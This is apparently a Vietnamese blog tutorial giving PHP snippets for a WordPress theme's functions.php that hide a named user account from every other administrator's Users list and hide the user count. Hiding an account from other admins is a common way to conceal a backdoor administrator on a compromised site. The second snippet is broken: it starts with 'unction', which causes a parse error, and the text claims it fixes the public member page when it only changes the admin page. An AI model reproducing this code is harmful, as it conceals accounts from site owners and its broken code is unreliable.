Hôm nay mình sẽ hướng dẫn các bạn một thủ thuật ẩn User trong Admin Page của Wordpres.
Coppy đoạn code sau và bỏ vào file function.php nằm trong thư mục /wp-content/themes/* là được
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == 'tai khoa cua ban') {
}
else {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'tai khoa cua ban'",$user_search->query_where);
}
}
Sau khi chèn xong thì các bạn nhớ ấn “Save hoặc Lưu nhé”. Giờ quay lại trang Thành viên thì sẽ thấy User đó bị ẩn đi.
Tuy nhiên, vẫn còn 1 lỗi nhỏ ở đây là, khi bạn điều hướng vào trang thành viên bên ngoài của Website thì vẫn thấy tên người dùng mà bạn đã ẩn trong trang quản trị. Vì thế, để xử lý vấn đề này, các bạn hãy thêm đoạn code sau vào file function.php để fix nó nhé.
unction hide_user_count(){
?>
<style>
.wp-admin.users-php span.count {display: none;}
</style>
<?php
}
add_action('admin_head','hide_user_count');